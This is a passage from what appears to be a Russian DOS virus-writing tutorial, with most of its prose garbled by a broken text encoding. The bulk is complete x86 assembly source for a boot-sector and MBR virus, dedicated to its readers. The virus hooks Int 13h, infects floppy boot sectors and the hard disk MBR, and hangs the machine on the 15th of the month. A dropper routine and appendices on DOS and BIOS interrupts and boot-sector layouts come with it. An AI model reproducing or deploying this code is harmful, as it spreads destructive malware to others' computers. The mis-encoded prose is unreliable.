                                      ; ᪠ ,
                                      ;  -
                                      ;ᠭ -
                                      ; 㧮筠
                                      ;
    vvv        dw   004ch             ;饭  -
                                      ; Int 13h
                                      ; ᭮
                                      ; :
               prg_lenght   equ   $ - my_prg

      ,祬    ⢥-
     ᥣ  .  ⮬,   -
    稫 쭮 訬 (421  -  ஢-
     !). ᪮쪮  ࠭   ᭨,   
    ࠧ        , 祬  425  . 
    425 - 421  ࠧ ࠢ ६ ...


              1.14 襬 ᥪ ⠫樨

    祢,  ⠪ ,   ᥩ  
     ,  쭮 㤭   ⥬.
    ⮬  祭 ⮩  "।⥫᪮"  -
    樨 襬 ᯥ樠 ⠫.  㭪
    ⮨  ᫥饬 :   ᪠饩  -
    ࠬ    ப   -   窨
    ࠧ   ᪮ " A ".祬  ᮢᥬ
      易⥫쭮     㧮.  
    ⮣ ᪠  㦭 㧨   ⮩ 設, -
     ॡ  ࠧ.   ⮬  ࠧ
    MBR   ⪮ ᪠. ,  ᫥  㧪 
    ,   㤥 ஢  ⠥
     ࠦ  設 ᪥    筥 -
    ࠭.
    室  ᪠ ,  ।  ⠪
    襭 :

    installer: lea si,my_prg          ; -
               mov byte ptr [si],33h  ; 室 
    mov byte ptr [si + 1],0c0h        ;  -
    mov byte ptr [si + 2],8eh         ;  
                                      ;஡㥬 -
                                      ; BOOT -
                                      ;ᥪ ᪥.
               mov ax,0201h           ;
               mov cx,01h             ;
               xor dx,dx              ;
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;
               push es                ;稬 -
               mov ah,08h             ; ᪥
               xor dl,dl              ;
               int 13h                ;
               jnc all_good           ;
               cmp ah,01h             ;
               jne error              ;
               mov dh,01h             ;
               mov ch,27h             ;
    mov cl,byte ptr bufer [18h]       ;
    all_good:  xor dl,dl              ;
               mov num_head,dx        ;
               mov cyl_sect,cx        ;
               pop es                 ;
                                      ;९襬 -
                                      ;騩 BOOT 
                                      ;᫥ ᥪ-
                                      ; ᫥
                                      ;஦  -
                                      ; ஭
               mov ax,0301h           ;
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;ନ㥬 ,
                                      ; 㦭
                                      ; 
                                      ;᪥ 
                                      ;室 BOOT -
                                      ;
               mov additor,055h       ;
               lea si,bufer + 55h     ;
               lea di,my_prg          ;
               mov cx,prg_lenght      ;
    copy_boot: mov al,byte ptr [di]   ;
               mov byte ptr [si],al   ;
               inc si                 ;
               inc di                 ;
               loop copy_boot         ;
    mov word ptr bufer[0],053ebh      ;
                                      ; 襬 
                                      ; 
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ ᪥
               mov ax,0301h           ;
               mov cx,01h             ;
               mov dx,0               ;
               lea bx,bufer           ;
               int 13h                ;
               jnc prg_end            ;
                                      ;
    error:     mov ah,09h             ;᫨ 뫠 -
               lea dx,err_mes         ; - 뢥
               int 21h                ;ᮮ饭  
                                      ;
    prg_end:   mov ax,4c00h           ;蠥 -
               int 21h                ;᪠ -
                                      ;ࠬ
    err_mes    db   'Error !$'        ;饭
    bufer      db   512 dup ( 0 )     ;  
                                      ;뢠
                                      ;BOOT - ᥪ
                                      ;ࠦ
                                      ;᪥
    prg ends                          ;
    end my_prg                        ;

    ᫨   㤠 ࠧ ,   뤠
    ᮮ饭 " ERROR ! ".  ⮬ 砥  -
      㦭 .
      - ᫨   㧭, 祬  
         ⠫,   ᫥
    ᬮ  ਢ   ⥪  ᭮
    ணࠬ.      , 
     : " jmp installer ".⠫ 頥 
    , ⠭騬 ᮡ⢥ ⥪  , 
    ⮬   ࠦ ᥪ      -
    .


              1.15  㧮筮 

     ।⠢ ⥪ ।  㧮筮
     :

    ; _______________________________________________
    ;|                                               |
    ;| BOOT & MBR virus                              |
    ;| Especially for my readers !                   |
    ;|_______________________________________________|

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    my_prg:    jmp installer          ;
               db 0d0h                ;
               mov sp,7bfeh           ;⠭ ᮡ-
                                      ;⢥ ⥪
               push ax                ;࠭  -
               push bx                ; ᯮ㥬
               push cx                ;ॣ
               push dx                ;
               push si                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
    sub word ptr ds:[0413h],2         ;"०"  DOS
               mov ax,ds:[0413h]      ; 
               mov cl,6               ;  -
                                      ;
               sal ax,cl              ;ᥣ -
                                      ;, ஬
                                      ;室 -
                                      ;祭 
               mov es,ax              ;⨬ 
                                      ; ES
               xor si,si              ; ᪮㥬 
               mov cx,prg_lenght      ; 
    prg_copy:  db 8ah                 ;"prg_lenght" 
               db 9ch                 ;  -
    additor    db 00h                 ; ES : 0000h
               db 7ch                 ;   -
               mov byte ptr es:[si],bl;㧪 頥-
               inc si                 ; BIOS  -
               loop cs:prg_copy       ; 0000:7C00h
                                      ;
               push ax                ;襬  ⥪
               mov ax,to_read_boot    ; ES:to_re-
               push ax                ;ad_boot  -
               db 0cbh                ;⢨ 室
                                      ;  
    to_read_boot   equ   $ - my_prg   ;
                                      ;
    read_boot: push cs                ;DS = CS
               pop ds                 ;
                                      ;
               xor si,si              ;SI = 0
               mov es,si              ;ES = SI
                                      ;稬 
                                      ;Int 13h  -
                                      ;࠭  :
    mov bx,word ptr es:[4ch]          ;
    mov word ptr old_13h - 100h,bx    ;
    mov bx,word ptr es:[4eh]          ;
    mov word ptr old_13h_2 - 100h,bx  ;
                                      ;
               mov si,vvv - 100h      ;
    mov word ptr es:[si],to_new_13h   ; ⠭
    mov word ptr es:[si + 2],cs       ; Int 13h
                                      ;  -
                                      ;ࠡ稪
                                      ;
               mov dx,num_head - 100h ;⠥ -
               mov cx,cyl_sect - 100h ;騩 㧮
               mov bx,7c00h           ;ᥪ  
               mov ax,0201h           ; 
               int 13h                ;0000:7C00h

               push cs                ;ES = CS
               pop es                 ;
                                      ;
               mov dl,0080h           ;⠥ MBR
               call cs:read_mbr       ;
               jc cs:to_quit          ; 
                                      ;CS:0400h, -
                                      ;祬 㧪
                                      ;ᥩ 
                                      ;ந
                                      ;  ᪥ !
    cmp byte ptr ds:[400h],33h        ;MBR 㦥 -
               je cs:to_quit          ; ?
                                      ;
               mov dx,0080h           ;㫥 
                                      ;ࢮ ⪮-
                                      ; ᪠
               mov cx,000ch           ; 12,
                                      ;஦ 0
               mov dl_save - 100h,dl  ;
                                      ;࠭ 
                                      ;ࠬ .
               call cs:write_mbr_last ;஬ ⮣,
                                      ;९襬 -
                                      ; MBR 
                                      ;ᥪ 12
               jc cs:to_quit          ;㫥 ஦
                                      ; 㫥 -
                                      ;஭ HDD .
               xor si,si              ;ନ㥬 
               mov additor - 100h,00h ;  
               mov cx,prg_lenght      ;
    copy_vir_mbr:                     ;  室-
               mov al,byte ptr ds:[si]; MBR
    mov byte ptr ds:[si + 400h],al    ;
               inc si                 ;
               loop cs:copy_vir_mbr   ;
                                      ;
               mov dx,0080h           ;襬 
               call cs:write_mbr      ;  
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ -
                                      ;
    to_quit:   mov ah,04h             ;
               int 1ah                ; 
               jc cs:bad_clock        ;㧪 
               cmp dl,15h             ;15 -  ᫠
    vis:       je cs:vis              ;蠥 ⥬
    bad_clock: popf                   ;⠭ 
               pop es                 ;⥪
               pop ds                 ;ॣ
               pop si                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
                                      ;
               db   0eah              ; ⤠ -
               dw   7c00h             ; -
               dw   0000h             ;饩 㧮筮
                                      ; ( MBR )

                                      ; ᫥
                                      ; -
                                      ;稪 Int 13h
    to_new_13h equ   $ - my_prg       ;
                                      ;
    new_13h:   pushf                  ;࠭ 䫠
               cmp dl,01h             ;  -
                                      ; " A "
                                      ; " B " ?
               ja cs:to_sys_13h       ; !
               cmp ah,02h             ;⥭ ?
               jne cs:to_sys_13h      ; !
               cmp ch,00h             ;஦ " 0 " ?
               jne cs:to_sys_13h      ; !
               cmp cl,01h             ;- ?
               je cs:to_sys_13h       ; !
               call cs:boot_infect    ;맮 -
                                      ; ࠦ
                                      ;BOOT - ᥪ஢
                                      ;᪥
    to_sys_13h:                       ;
               popf                   ;⠭
                                      ;䫠
               db 0eah                ;३  -
    old_13h    dw 0                   ;⥬ -
    old_13h_2  dw 0                   ;稪 Int 13h

    boot_infect proc                  ;
               push ax                ;࠭ ॣ-
               push bx                ;  ⥪
               push cx                ;ࢠ
               push dx                ;
               push di                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;ES = CS
               pop es                 ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               mov cx,3               ;஡㥬 -
    next_read: push cx                ; BOOT -
                                      ;ᥪ ᪥.
               call cs:read_mbr       ;   
               pop cx                 ;⪨ (-
               jnc cs:inf_check       ;,᫨ -
                                      ;⥫ ᪮
                                      ; ᯥ ࠧ-
                                      ;  -
                                      ;祩 ᪮,
                                      ; BIOS ୥
                                      ;訡 -᪥
                                      ;ᬥ ! )
               xor ah,ah              ; 訡 -
               pushf                  ;ᨬ ⥪騩
    call dword ptr old_13h - 100h     ;᪮
               jc cs:to_jump          ; ਬ
               loop cs:next_read      ;⥭
    to_jump:   jmp cs:restore_regs    ;
                                      ;BOOT - ᥪ
                                      ;ࠦ ?
    inf_check: cmp byte ptr ds:[455h],33h
               je cs:to_jump          ; !
    cmp word ptr ds:[40bh],200h       ;512  
                                      ;ᥪ ?
               jne cs:to_jump         ; !
                                      ;
               mov dl_save - 100h,dl
               mov ch,79              ;।
               mov dh,byte ptr ds:[415h]
               cmp dh,0f0h            ;ࠬ
               je cs:real_80          ;᪥
               cmp dh,0f9h            ; 
               je cs:real_80          ;Media
               cmp dh,0fdh            ;Descryptor
               jne cs:to_jump         ;
               mov ch,39              ;
    real_80:   mov dh,01h             ;
               mov cl,byte ptr ds:[418h]

                                      ;९襬 -
                                      ;騩 BOOT 
                                      ;᫥ ᥪ-
                                      ; ᫥
                                      ;஦  -
                                      ; ஭
               xor dl,dl              ;
               call cs:write_mbr_last ;
               jc cs:to_jump          ;
                                      ;
               mov additor - 100h,055h;ନ㥬 ,
               xor di,di              ; 㦭
               mov cx,prg_lenght      ; 
    copy_vir:  mov al,byte ptr ds:[di];᪥ 
    mov byte ptr ds:[di + 455h],al    ;室 BOOT -
               inc di                 ;
               loop cs:copy_vir       ;
    mov word ptr ds:[400h],053ebh     ;
                                      ;
               xor dh,dh              ; 襬 
               call cs:write_mbr      ; 
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ ᪥
                                      ;
    restore_regs:                     ;⠭ 
               popf                   ;⥪ ॣ
               pop es                 ;
               pop ds                 ;
               pop di                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
               ret                    ;멤  -
                                      ;楤
    boot_infect endp                  ;

    read_mbr   proc                   ;
               xor dh,dh              ;
               mov ax,0201h           ;楤
               mov bx,400h            ;⠥ 
               mov cx,01h             ;ᥪ 㫥
               pushf                  ;஦ 㫥
    call dword ptr old_13h - 100h     ;஭ 㪠-
               ret                    ; ⥫
    read_mbr   endp                   ;
                                      ;
    write_mbr proc                    ;
               mov ax,0301h           ;楤
               mov cx,01h             ;頥 -
               pushf                  ;   BOOT-
    call dword ptr old_13h - 100h     ;ᥪ ᪥
               ret                    ; 뢠
    write_mbr  endp                   ;  MBR
                                      ;
                                      ;
    write_mbr_last proc               ;楤
                                      ;९뢠
                                      ;室 BOOT-
                                      ;  MBR
               mov num_head - 100h,dx ; 
               mov cyl_sect - 100h,cx ;ᥪ -
               mov dl,dl_save - 100h  ;
                                      ;᪠
               mov ax,0301h           ;
               pushf                  ;
    call dword ptr old_13h - 100h     ;
               ret                    ;
    write_mbr_last endp               ;

               db   'Kot!'            ; 
    dl_save    db   0                 ;祩  -
                                      ; ࠭-
                                      ; ॣ DL
                                      ;(  
                                      ;
                                      ;⥫ )
    num_head   dw   0                 ; 
    cyl_sect   dw   0                 ;࠭ 
                                      ;,஦
                                      ; ᥪ , 
                                      ; -
                                      ;ᠭ 
                                      ;㧮筠
                                      ;
                                      ;ࠦ
                                      ;᪠
    vvv        dw   004ch             ;饭  -
                                      ; Int 13h
                                      ; ᭮
                                      ; :
               prg_lenght   equ   $ - my_prg

    installer: lea si,my_prg          ; -
               mov byte ptr [si],33h  ; 室 
    mov byte ptr [si + 1],0c0h        ;  -
    mov byte ptr [si + 2],8eh         ;  
                                      ;஡㥬 -
                                      ;
                                      ;BOOT -
                                      ;ᥪ ᪥.
               mov ax,0201h           ;
               mov cx,01h             ;
               xor dx,dx              ;
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;
               push es                ;稬 -
               mov ah,08h             ; ᪥
               xor dl,dl              ;
               int 13h                ;
               jnc all_good           ;
               cmp ah,01h             ;
               jne error              ;
               mov dh,01h             ;
               mov ch,27h             ;
    mov cl,byte ptr bufer [18h]       ;
    all_good:  xor dl,dl              ;
               mov num_head,dx        ;
               mov cyl_sect,cx        ;
               pop es                 ;
                                      ;९襬 -
                                      ;騩 BOOT 
                                      ;᫥ ᥪ-
                                      ; ᫥
                                      ;஦  -
                                      ; ஭
               mov ax,0301h           ;
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;ନ㥬 ,
                                      ; 㦭
                                      ; 
                                      ;᪥ 
                                      ;室 BOOT -
                                      ;
               mov additor,055h       ;
               lea si,bufer + 55h     ;
               lea di,my_prg          ;
               mov cx,prg_lenght      ;
    copy_boot: mov al,byte ptr [di]   ;
               mov byte ptr [si],al   ;
               inc si                 ;
               inc di                 ;
               loop copy_boot         ;
    mov word ptr bufer[0],053ebh      ;
                                      ; 襬 
                                      ; 
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ ᪥
               mov ax,0301h           ;
               mov cx,01h             ;
               mov dx,0               ;
               lea bx,bufer           ;
               int 13h                ;
               jnc prg_end            ;
                                      ;
    error:     mov ah,09h             ;᫨ 뫠 -
               lea dx,err_mes         ; - 뢥
               int 21h                ;ᮮ饭  
                                      ;
    prg_end:   mov ax,4c00h           ;蠥 -
               int 21h                ;᪠ -
                                      ;ࠬ
    err_mes    db   'Error !$'        ;饭
    bufer      db   512 dup ( 0 )     ;  
                                      ;뢠
                                      ;BOOT - ᥪ
                                      ;ࠦ
                                      ;᪥
    prg ends                          ;⠭⭮
    end my_prg                        ;砭 ASM-
                                      ;ணࠬ ...

                     1.16 ਨ

    ,  ࠧࠡ⠫  ⮩ , ࠦ-
     BOOT - ᥪ ᪥  MBR ⪮ ᪠. 
      㡥,   㧮   ᮢᥬ
    ᫮ - ࠧ ,祬, ᪠, 䠩.
       ⥫쭮 ४  ⥫  -
    ஡ "  "     -
     ᮢ  ᫥  ࠡ.  -
      ४ FORM  KONSTANTIN .
    ᫨   筮  ᮫,  
     ᨫ  ONEHALF  㣨 ஢
    ᮬ. ࠢ  ,  ᯥਬ஢  
    㦨 묨 ணࠬ   ஦ - -
        ஢ ᭮   -
     ᯮ "  " 襣 .


                   1.17 ⠭ 

     ஢ન  ⢨ 㧮筮  -
    筮 㧨  ࠦ ⭮  ᪠.
    ,   ࠦ ᪥   
    . ஡     , 
     - ன  ⫠稪.
    ।  ஢  ᯥਬ⮢    ।
    ணࠬ 易⥫쭮 ᪮ ਣ MBR
    ⪮ ᪠   ⤥ 䠩   ᪥. ᫨
    ⮣  ᤥ,       
    .
     ஢ન ᭮ ணࠬ ४ -
         ணࠬ  DISKEDIT, ⥫쭮
      ᫥ ᨩ.   ⮩  ண-
    ࠬ  " 뫥 " ࠦ , ᫨ -
      "  ".


                        

       뢠  ᠫ   ⮣,
    ⮡ ਮ  ⠨⢥  ᥪ⭮-
    , ன  ⠭   頥  -
     ⥬   ᮢ .     
    砥  ⠢ ᢮ 楫  짮⥫
     ࠧࠡ⪥ ᥢ "।"  ணࠬ
    ।,   ⥫  ᢮ ﬨ
     १⠬ ᯥਬ⮢  ப  ⢥-
     .猪    -  ᯥ樠-
    ⮢  ⥫,  ஭ 
     ࠡ ⥬ . ᫨  -    -
       । ,   -
    ,  ⨫ ६   .ࠡ⪠ -
      ᮢ - 墠뢠饥  ᫮-
     , ॡ饥    ।
    ⥮᪮  .,   ᬮ -
        .
     ᮦ,  ⠭  稭,
    ⮬   㤠 ਡ ⨫  
    筮 - ୮ .    㤭 ⭥  
    ⪠ .
      !


                       1

       ⪨ ࠢ筨  㭪 MS DOS  BIOS

     *
      ࠢ  ਠ   㭪 MS DOS  BIOS
        ⥫묨  ﬨ  ⢮ 
      [1],     ਭ ..  ᢮
      .

    --------------------------------------------------

    㭪 09h - 뢮 ப  ࠭.᫥ ᨬ-
     ப   " $ " .ࠢ騥  :
    07h - , 08h - 蠣 , 0Ah - ॢ -
    , 0Dh -  ⪨ .
    맮 :   AH = 09h
              DS : DX =  ப .

    㭪 0Eh - 롮 ᪠ .।祭  ᬥ
    ⥪饣 ᪠ . 頥 ⢮  -
    ᪨ ᪮ .
    맮 :   AH = 0Eh
              AL =  ᪮ ( 0 = A, 1 = B, 80h =
              = C  .. )
     : AL = ⢮ ᪮  ⥬ .

    㭪 19h - 祭 ⥪饣 ᪠ .
    맮 :   AH = 19h
     : AL =  ⥪饣  ᪠ ( 0 = A, 1 = B,
              80h = C  .. ) .

    㭪 1Ah - ⠭      ।
     ( DTA ) .⠭   DTA .
    맮 :   AH = 1Ah
              DS : DX =  DTA .

    㭪 25h - ⠭   뢠 .-
    뢠  ணࠬ ࠡ⪨   -
      ⠡ ஢ .
    맮 :   AH = 25h
              AL =   뢠
              DS : DX =  ணࠬ ࠡ⪨ -
              뢠 .

    㭪 19h - 祭  .
    맮 :   AH = 2Ah
     : CX = 
              DH = 
              DL = 
              AL =   ( 0 = ᥭ,  6 -
              㡡 ) .

    㭪 2Fh - 祭      ।
     ( DTA ) .頥 ⥪騩  DTA .
    맮 :   AH = 2Fh
     : ES : DX =  DTA .

    㭪 35h - 祭  뢠 .-
      ணࠬ ࠡ⪨   뢠-
      ⠡ ஢ .
    맮 :   AH = 35h
              AL =   뢠
     : ES : BX =  ணࠬ ࠡ⪨ -
              뢠 .

    㭪 3Bh -  ⠫.।祭  -
     ⥪饣 ⠫ .
    맮 :   AH = 3Bh
              DS : DX =   ⠫ (ਬ,
              C:\TASM\VIRUS\
     訡 :
              CF = 1
              AX =  訡 .

    㭪 3Dh - ⨥ 䠩 .뢠 䠩  -
       頥 ਯ,  뤥
    ⮬ 䠩 ⥬ .⥫ ⠭ 
    砫 䠩 .
    맮 :   AH = 3Dh
              AL = ० 㯠 : 0 -  ⥭
                                   1 -  
                                   2 -  ⥭
                                        
              DS : DX =     䠩 ( ਬ,
              C:\TASM\VIRUS\EXE_VIR.COM )
     : AX = ਯ
     訡 :
              CF = 1
              AX =  訡 .

    㭪 3Eh - ⨥ 䠩 .뢠 䠩  -
     ਯ஬.ਯ ᢮, -
     ⮣,    ६ ᮧ 䠩-
    , ᫨ 䠩   .
    맮 :   AH = 3Eh
              DX = ਯ
     訡 :
              CF = 1
              AX =  訡 .
    㭪 3Fh - ⥭  䠩  ன⢠ .-
    뢠   䠩  ன⢠   -
     㪠⥫ . ⥭ ⠥ ப 㪠-
      .  ⥭   ᨬ쭮  ன⢠
    ⥭ ४頥,  ᫨ ⨫ ᨬ  -
     ⪨ ( ਬ,    ).
    맮 :   AH = 3Fh
              BX = ਯ
              CX = ⢮ । ᨬ
              DS : DX =  ,    -
               
     : AX = ᫮ । 
     訡 :
              CF = 1
              AX =  訡 .

    㭪 40h -   䠩   ன⢮ .-
    뢠     뢠   䠩,
    ⮬  㪠⥫ .   -
     ப 㪠  .
    맮 :   AH = 40h
              BX = ਯ
              CX = ⢮ । ᨬ
              DS : DX =  ,    -
               
     : AX = ᫮ । 
     訡 :
              CF = 1
              AX =  訡 .

    㭪 42h - ⠭ 㪠⥫  䠩 .।-
    祭  ⠭  㪠⥫  ॡ㥬 
     䠩 .
    맮 :   AH = 42h
              BX = ਯ
              AL = ० ⠭ 㪠⥫:
                   0 - ᬥ饭  砫 䠩
                   1 - ᬥ饭  ⥪饣  
                   㪠⥫
                   1 - ᬥ饭   䠩
              CX =   ᬥ饭
              DX =   ᬥ饭
     : CX =   饭  㪠-
              ⥫
              DX =   饭  㪠-
              ⥫ .

    㭪 48h - 뤥      㪠
    ࠧ .뤥  , ᫥ 祣  -
    頥  ᥣ  .
    맮 :   AH = 48h
              BX =     ࠣ
     : AX = ᥣ  뤥 -
     
     訡 :
              CF = 1
              AX =  訡 .
              BX = ࠧ   襣  㯭  
                 .

    㭪 49h - ᢮    .
    맮 :   AH = 49h
              ES = ᥣ  , ᫥-
               ᢮
     訡 :
              CF = 1
              AX =  訡 .

    㭪 4Ah -  ࠧ   , -
      뤥 ணࠬ .
    맮 :   AH = 4Ah
              BX =  ࠧ   ࠣ .
              ES = ᥣ  ,ࠧ -
              ண ᫥ 
     訡 :
              CF = 1
              AX =  訡 .
              BX = ࠧ   襣  㯭  
                 .

    㭪 4Ch - 襭     -
     .蠥 ⥪   ।  -
    襭 த⥫᪮  .᢮ 뤥-
     ணࠬ , 뢠    ,
    뢠 ਯ, ⠭  PSP -
     뢠 INT 22h, INT 23h  INT 24h . 
    ࠢ । த⥫᪮  .
    맮 :   AH = 4Ch
              AL =   .

    AL = 00h 筮 ᮮ⢥ ଠ쭮 -
     ணࠬ .

    㭪 4Eh -  ࢮ 䠩 .ந  -
       ⠫ ࢮ 䠩,  ᮮ⢥-
    饣  ᪥  饣 㪠  -
     .
    맮 :   AH = 4Eh
              CX = ਡ  䠩 (   -
               ) :
                   1   - ⮫쪮 ⠥ ( read only )
                   2   -  ( hidden )
                   4   - ⥬ ( system )
                   8   - ⪠ ⮬
                   20h - 娢 ( archive )
              DS : DX =  ᪨  ᪠
     :     䠩    ७
    뢠  DTA   1Eh - 2Ah . ᫥
    ᨬ ७ ᥣ ᫥ 窠 : " . "
     訡 :
              CF = 1
              AX =  訡 .

    㭪 4Fh -  ᫥饣 䠩 . ᥣ
    ᯮ    ।饩 㭪樥   -
     ᫥ ⮣,     䠩 .
    맮 :   AH = 4Fh
     :     䠩    ७
    뢠  DTA   1Eh - 2Ah . ᫥
    ᨬ ७ ᥣ ᫥ 窠 : " . "
     訡 :
              CF = 1
              AX =  訡 .

    ⨯᭮ 뢠 INT 2Fh.ᯮ 
    ࣠樨 ⢨ १ ணࠬ  
    ⥬    㣮. ணࠬ १-
    ஢ 㭪樨 : C0h - FFh .
    맮 :   AH = 2Fh
              AL = 㭪
     : AL = 0 - ணࠬ   ⠭   
               ⠭
              AL = 1 - ணࠬ   ⠭   
               ⠭
              AL = 0FFh - ணࠬ 㦥 ⠭ .
     訡 :
              CF = 1
              AX =  訡 .

    --------------------------------------------------

    뢠 INT 13h,  㭪 02h - ⥭ ᥪ.
    뢠   ᪮쪮 ।  짮-
    ⥫  ᥪ஢  䨧᪮ ᪠   뤥
    . 砫쭮 ᥪ 㪠뢠 ⠪ -
    न : ஦,ᥪ,  .  -
    ஦  㬥   ,  ஦   
    㬥   .
    맮 :   AH = 02h
              AL = ⢮ ⠥ ᥪ஢
              CH = ஦
              CL = 砫 ᥪ
              DH = 
              DL = ᪮ ( 00h - 07Fh -  ᪥-
                      ᪮,  80h - 0FFh - 
                   "  " .
              ES : BX =  ,    㤥
                         ଠ 
                        ᥪ஢
     : CF = 0
              AH = 0
              AL = ⢮ ⠭ ᥪ஢
     訡 :
              CF = 1
              AH =  ﭨ .

     *
       ॣ CX 5...0 ।  ᥪ,
        15...6 -  ஦ !!!
       룫廊 ⠪ :

       ____________________________________________
      |   |15 |14 |13 |12 |11 |10 | 9 | 8 |
      |------------|---|---|---|---|---|---|---|---|
      | ন |   |   |   |   |   |   |   |   |
      |        |c  |c  |c  |c  |c  |c  |c  |c  |
      |____________|___|___|___|___|___|___|___|___|

       ____________________________________________
      |   | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
      |------------|---|---|---|---|---|---|---|---|
      | ন |   |   |   |   |   |   |   |   |
      |        |C  |c  |S  |s  |s  |s  |s  |s  |
      |____________|___|___|___|___|___|___|___|___|

      㪢 " C "  " c " 砥,     -
        ஦;
      㪢 " S "  " s " 砥,     -
        ᥪ.

       ࠧ,  "7"  "6"  -
       ⠬  ஦,   "5"  "4" -
       訬 ⠬  ᥪ.

    뢠 INT 13h,  㭪 03h -  ᥪ.
    뢠   ᪮쪮 । 짮-
    ⥫ ᥪ஢  䨧᪨  . 砫쭮-
     ᥪ 㪠뢠 ⠪ न : ஦,
    ᥪ,  .  ஦ 㬥  
    , ஦   㬥   .
    맮 :   AH = 03h
              AL = ⢮ 뢠 ᥪ஢
              CH = ஦
              CL = 砫 ᥪ
              DH = 
              DL = ᪮ ( 00h - 07Fh -  ᪥-
                      ᪮,  80h - 0FFh - 
                   "  " .
              ES : BX =  ,ଠ  -
                        ண 㤥 뢠
                         ᥪ
     : CF = 0
              AH = 0
              AL = ⢮ ᠭ ᥪ஢
     訡 :
              CF = 1
              AH =  ﭨ .

     *
       ॣ CX 5...0 ।  ᥪ,
        15...6 -  ஦ !!!
      (  㭪 02h ).

    뢠 INT 13h,  㭪 08h - 祭 -
    ஢ ᪮.
    맮 :   AH = 08h
              DL = ᪮ ( 00h - 07Fh -  ᪥-
                      ᪮,  80h - 0FFh - 
                   "  " .
     : AH = 0
              BL = ⨯ ᪮ ( ⮫쪮 AT  PS2 )
              DL = ⢮ ⥫, 㦨-
                     ஫஬
              DH = ᨬ  
              CL = ᨬ  ᥪ
              CH = ᨬ  ஦
                   ( . 㭪 02h )
              ES : DI =  ⠡ ࠬ஢  -
                        
     訡 :
              CF = 1
              AH =  ﭨ .

     *
      㭪  ࠡ⠥  IBM XT  ᪮ !!!


                       2

           ଠ 㧮筮   MS DOS
                    ࠧ ᨩ

    ଠ BOOT -   ᨩ MS DOS  4.0

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |03     | EB xx 90 室   |
    |         |       |ணࠬ 砫쭮 㧪  |
    |---------|-------|------------------------------|
    |03h      |08     |  - ந⥫|
    |         |       |  樮 ⥬  |
    |---------|-------|------------------------------|
    |0Bh      |13     | ࠬ஢ BIOS ( BPB )  |
    |---------|-------|------------------------------|
    |18h      |02     |⢮ ᥪ஢  ஦|
    |---------|-------|------------------------------|
    |1Ah      |02     |⢮ 孮⥩ ᪠ |
    |---------|-------|------------------------------|
    |1Ch      |02     |⢮  ᥪ஢,  |
    |         |       |  ᯮ   |
    |         |       | ࠧ ᪠  ࠧ|
    |---------|-------|------------------------------|
    |1Eh      |480    |ணࠬ 砫쭮 㧪, |
    |         |       |뢠 㧮筮 |
    |         |       |(Boot Record).                |
    |---------|-------|------------------------------|
    |1FEh     |02     | : 55 AA                   |
    |_________|_______|______________________________|

    ଠ BOOT -   ᨨ MS DOS 4.0

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |03     | EB xx 90 室   |
    |         |       |ணࠬ 砫쭮 㧪  |
    |---------|-------|------------------------------|
    |03h      |08     |  - ந⥫|
    |         |       |  樮 ⥬  |
    |---------|-------|------------------------------|
    |0Bh      |25     |७  ࠬ஢   |
    |         |       |BIOS ( EBPB )                 |
    |---------|-------|------------------------------|
    |24h      |01     |᪨  ᪮    |
    |         |       |( 00h -  ᪥⭮ ᪮- |
    |         |       |, 80h -   )  |
    |---------|-------|------------------------------|
    |25h      |01     |१ࢨ஢               |
    |---------|-------|------------------------------|
    |26h      |01     | " ) " - ਧ - |
    |         |       |७ 㧮筮      |
    |         |       |MS DOS 4.0                    |
    |_________|_______|______________________________|
    |27h      |04     |਩  ᪠,ᮧ|
    |         |       | ६  ଠ஢   |
    |---------|-------|------------------------------|
    |2Bh      |11     |⪠ ( Volume Label ) ᪠, |
    |         |       |  ६  ଠ-  |
    |         |       |஢                     |
    |---------|-------|------------------------------|
    |36h      |08     |筮 ᮤন  ⨯   |
    |         |       |" FAT 12 "      |
    |_________|_______|______________________________|
    |3Eh      |448    |ணࠬ 砫쭮 㧪, |
    |         |       |뢠 㧮筮 |
    |         |       |(Boot Record).                |
    |---------|-------|------------------------------|
    |1FEh     |02     | : 55 AA                   |
    |_________|_______|______________________________|


    ଠ Master Boot Record ( MBR ) - 
    㧮筮  ⪮ ᪠

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |446    |ணࠬ, 뢠         |
    |         |       | 㧮筮    |
    |         |       |(MBR,  Master Boot Record).|
    |---------|-------|------------------------------|
    |1BEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1CEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1DEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1EEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1FEh     |02     | : 55 AA                   |
    |_________|_______|______________________________|


    ଠ BPB  ᨩ MS DOS  4.0

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |02     |⢮ ⮢             |
    |         |       |  ᥪ ᪠         |
    |---------|-------|------------------------------|
    |02h      |01     |⢮ ᥪ஢           |
    |         |       |                |
    |---------|-------|------------------------------|
    |03h      |02     |⢮ १ࢨ஢  |
    |         |       |ᥪ஢                      |
    |---------|-------|------------------------------|
    |05h      |01     |⢮  FAT          |
    |---------|-------|------------------------------|
    |06h      |02     |ᨬ쭮 ⢮ -  |
